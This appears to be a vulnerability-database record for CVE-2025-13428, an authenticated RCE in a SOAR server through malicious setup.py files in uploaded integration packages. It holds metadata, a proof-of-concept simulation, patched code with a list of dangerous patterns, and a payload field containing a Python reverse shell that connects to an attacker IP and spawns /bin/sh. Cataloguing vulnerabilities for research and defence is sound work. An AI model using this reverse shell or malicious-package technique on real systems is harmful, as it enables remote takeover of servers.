{"id":1502,"cve":"CVE-2025-13428","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2025-13428\/","cwe":"CWE-20","cwe_number":20,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/20","cvss_score":8.6,"published":"2025-12-09","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Command Injection","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Authenticated RCE in SOAR server via a malicious custom integration package.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2025-13428\/","description":"A vulnerability exists in the SecOps SOAR server. The custom integrations feature allowed an authenticated user with an \"IDE role\" to achieve Remote Code Execution (RCE) in the server. The flaw stemmed from weak validation of uploaded Python package code. An attacker could upload a package containing a malicious setup.py file, which would execute on the server during the installation process, leading to potential server compromise.  No customer action is required.    All customers have been automatically upgraded to the fixed version: 6.3.64 or higher.","solution":"Upgrade to version 6.3.64 or higher.","affected_component":"Python","fixed_by_upgrading":false,"vulnerable_code":"import os\nimport subprocess\nimport tempfile\nimport shutil\nimport tarfile\n\n# This represents the vulnerable server-side function that processes an uploaded integration package.\n# The flaw is that it blindly trusts and executes the setup.py file from the package.\ndef install_custom_integration(package_path):\n    \"\"\"\n    Extracts and installs a custom integration package.\n    VULNERABILITY: Executes setup.py without validation, leading to RCE.\n    \"\"\"\n    # Create a temporary directory to extract the package\n    with tempfile.TemporaryDirectory() as temp_dir:\n        print(f\"[Server] Unpacking '{package_path}' to '{temp_dir}'...\")\n        try:\n            # Unpack the tar.gz file\n            shutil.unpack_archive(package_path, temp_dir)\n        except Exception as e:\n            print(f\"[Server] Error unpacking archive: {e}\")\n            return\n\n        # Find the setup.py file's directory\n        package_source_dir = None\n        for root, dirs, files in os.walk(temp_dir):\n            if \"setup.py\" in files:\n                package_source_dir = root\n                break\n\n        if package_source_dir:\n            print(f\"[Server] Found setup.py in '{package_source_dir}'.\")\n            print(\"[Server] VULNERABLE ACTION: Running 'python setup.py install'...\")\n\n            # DANGEROUS: Execute the setup script. An attacker controls this file.\n            # This is where the Remote Code Execution occurs.\n            try:\n                # The 'cwd' argument ensures the command runs in the context of the extracted package.\n                result = subprocess.run(\n                    [\"python\", \"setup.py\", \"install\"],\n                    cwd=package_source_dir,\n                    capture_output=True,\n                    text=True,\n                    check=False # Set to False to see output even on error\n                )\n                print(\"[Server] Subprocess STDOUT:\\n\" + result.stdout)\n                print(\"[Server] Subprocess STDERR:\\n\" + result.stderr)\n                print(\"[Server] Installation command finished.\")\n\n            except Exception as e:\n                print(f\"[Server] An exception occurred during installation: {e}\")\n        else:\n            print(\"[Server] Error: setup.py not found in the package.\")\n\n\n# --- Simulation of an attacker's actions ---\ndef create_malicious_package(file_name=\"malicious_package.tar.gz\"):\n    \"\"\"Creates a malicious Python package with a payload in setup.py.\"\"\"\n    print(\"[Attacker] Creating a malicious package...\")\n\n    # The malicious payload to be embedded in setup.py\n    # This payload will execute on the server during installation.\n    malicious_setup_py_content = \"\"\"\nfrom setuptools import setup\nimport os\n\nprint(\"--- Malicious setup.py is executing ---\")\n# Simple RCE payload: create a file to prove execution\npayload_file = \"\/tmp\/rce_was_successful\"\nprint(f\"Executing payload: Creating file at {payload_file}\")\nwith open(payload_file, \"w\") as f:\n    f.write(\"CVE-2025-13428 PoC executed successfully.\\\\n\")\nprint(\"--- Malicious execution finished ---\")\n\nsetup(\n    name=\"malicious_integration\",\n    version=\"1.0\",\n    description=\"A package with a harmful setup script.\",\n)\n\"\"\"\n    with tempfile.TemporaryDirectory() as temp_dir:\n        package_dir = os.path.join(temp_dir, \"malicious_integration-1.0\")\n        os.makedirs(package_dir)\n\n        # Write the malicious setup.py\n        with open(os.path.join(package_dir, \"setup.py\"), \"w\") as f:\n            f.write(malicious_setup_py_content)\n\n        # Write a dummy __init__.py to make it a package\n        with open(os.path.join(package_dir, \"__init__.py\"), \"w\") as f:\n            pass\n        \n        # Create a compressed tarball (source distribution)\n        with tarfile.open(file_name, \"w:gz\") as tar:\n            tar.add(package_dir, arcname=os.path.basename(package_dir))\n\n    print(f\"[Attacker] Malicious package created at '{file_name}'\")\n    return file_name\n\n\nif __name__ == \"__main__\":\n    # 1. Attacker creates the malicious package\n    malicious_archive = create_malicious_package()\n\n    print(\"\\n\" + \"=\"*50 + \"\\n\")\n\n    # 2. Attacker uploads the package, and the server's vulnerable function processes it\n    print(\"[Server] Simulating an authenticated user uploading a custom integration...\")\n    # This function call represents the vulnerable part of the server application\n    install_custom_integration(malicious_archive)\n\n    print(\"\\n\" + \"=\"*50 + \"\\n\")\n\n    # 3. Verify if the RCE payload was successful\n    proof_of_concept_file = \"\/tmp\/rce_was_successful\"\n    print(f\"[Verification] Checking for existence of '{proof_of_concept_file}'...\")\n    if os.path.exists(proof_of_concept_file):\n        print(f\"[Verification] SUCCESS: The payload executed. The file was created.\")\n        with open(proof_of_concept_file, 'r') as f:\n            print(f\"File content: '{f.read().strip()}'\")\n        # Clean up the evidence\n        os.remove(proof_of_concept_file)\n        print(\"[Verification] Cleaned up the payload file.\")\n    else:\n        print(\"[Verification] FAILURE: The payload did not execute. The file was not found.\")\n\n    # Clean up the created package\n    if os.path.exists(malicious_archive):\n        os.remove(malicious_archive)","patched_code":"import os\nimport shutil\nimport subprocess\nimport tarfile\nimport tempfile\nfrom pathlib import Path\n\n# A set of dangerous patterns to detect in the source code.\n# In a real-world scenario, a more robust static analysis tool would be used.\nDANGEROUS_PATTERNS = {\n    b'os.system',\n    b'subprocess.run',\n    b'subprocess.call',\n    b'subprocess.check_call',\n    b'subprocess.check_output',\n    b'eval(',\n    b'exec('\n}\n\nclass UnsafePackageError(Exception):\n    \"\"\"Custom exception for invalid or malicious packages.\"\"\"\n    pass\n\ndef secure_install_integration(package_path: str, install_target_dir: str):\n    \"\"\"\n    Securely unpacks and installs a Python package, validating its contents\n    to prevent Remote Code Execution (RCE) via malicious setup files.\n\n    This function enforces modern packaging standards and performs basic static analysis.\n\n    Args:\n        package_path: The path to the uploaded package file (e.g., a .tar.gz).\n        install_target_dir: The directory where the package should be installed.\n\n    Raises:\n        UnsafePackageError: If the package is found to be unsafe.\n        FileNotFoundError: If the package_path does not exist.\n        subprocess.CalledProcessError: If the installation command fails.\n    \"\"\"\n    if not os.path.exists(package_path):\n        raise FileNotFoundError(f\"Package not found at: {package_path}\")\n\n    temp_dir = tempfile.mkdtemp()\n    try:\n        # 1. Securely extract the package\n        with tarfile.open(package_path) as tf:\n            # Prevent path traversal attacks\n            for member in tf.getmembers():\n                if member.name.startswith(\"\/\") or \"..\" in member.name:\n                    raise UnsafePackageError(\"Package contains invalid or malicious file paths (path traversal).\")\n            tf.extractall(temp_dir)\n\n        # The actual source code is often in a subdirectory\n        package_root = temp_dir\n        # Find the directory containing pyproject.toml\n        pyproject_path = next(Path(package_root).glob('**\/pyproject.toml'), None)\n        if pyproject_path:\n            package_root = pyproject_path.parent\n        else:\n             raise UnsafePackageError(\"Package validation failed: 'pyproject.toml' not found. Modern packaging is required.\")\n\n        # 2. **VULNERABILITY FIX**: Validate package structure and contents\n        has_pyproject_toml = False\n        \n        for root, _, files in os.walk(package_root):\n            # FIX: Disallow 'setup.py' to prevent execution of arbitrary code during installation.\n            if 'setup.py' in files:\n                raise UnsafePackageError(\"Package validation failed: 'setup.py' is not allowed. Use 'pyproject.toml' instead.\")\n\n            if 'pyproject.toml' in files and Path(root) == Path(package_root):\n                has_pyproject_toml = True\n\n            # FIX: Perform basic static analysis on all Python files.\n            for filename in files:\n                if filename.endswith('.py'):\n                    file_path = os.path.join(root, filename)\n                    with open(file_path, 'rb') as f:\n                        content = f.read()\n                        for pattern in DANGEROUS_PATTERNS:\n                            if pattern in content:\n                                raise UnsafePackageError(f\"Package validation failed: Potentially dangerous code found in '{file_path}'.\")\n\n        if not has_pyproject_toml:\n            raise UnsafePackageError(\"Package validation failed: 'pyproject.toml' not found in the root. Modern packaging is required.\")\n        \n        # 3. If all checks pass, proceed with a safe installation\n        # Use pip to install from the validated local source directory.\n        # This is safer than running 'python setup.py install'.\n        # The '--no-deps' flag can prevent fetching untrusted remote dependencies.\n        # Installing to a specific target directory isolates the package.\n        subprocess.run(\n            [\n                'python', '-m', 'pip', 'install',\n                '--target', install_target_dir,\n                '--no-dependencies',\n                str(package_root)\n            ],\n            check=True,\n            capture_output=True,\n            text=True\n        )\n\n    finally:\n        # 4. Clean up the temporary directory\n        shutil.rmtree(temp_dir)","payload_needed":true,"payload":"```python\nfrom setuptools import setup, find_packages\nimport socket\nimport os\nimport subprocess\n\nRHOST = '10.10.10.10'  # Attacker's IP address\nRPORT = 4444           # Attacker's listening port\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((RHOST, RPORT))\nos.dup2(s.fileno(), 0)\nos.dup2(s.fileno(), 1)\nos.dup2(s.fileno(), 2)\nsubprocess.call(['\/bin\/sh', '-i'])\n\nsetup(\n    name='malicious_integration',\n    version='1.0',\n    description='A malicious package to exploit CVE-2025-13428',\n    packages=find_packages(),\n)\n```","payload_status":"available","published_fix":[],"references":null}